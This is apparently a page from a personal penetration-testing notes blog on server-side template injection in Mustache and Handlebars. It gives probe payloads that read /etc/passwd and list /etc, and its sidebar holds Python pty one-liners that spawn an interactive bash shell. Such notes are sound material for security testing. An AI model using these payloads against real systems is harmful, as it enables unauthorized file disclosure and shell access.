akde/infosec

Information security is ultimately about managing risk


Mus­tache is a tem­plate engine, used in var­i­ous frame­works. It is “log­ic less”, it sup­ports if statemets, but it does not have many log­i­cal operations.

Han­dle­bar is an exten­sion of Mus­tache with more capabilities.

Read vari­ables:

{{name}}

With han­dle­bar, try to read a file:

{{read "/etc/passwd"}}

Or try to list a directory:

{{#each (readdir "/etc")}}
{{this}}
{{/each}}

Leave a Reply

About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';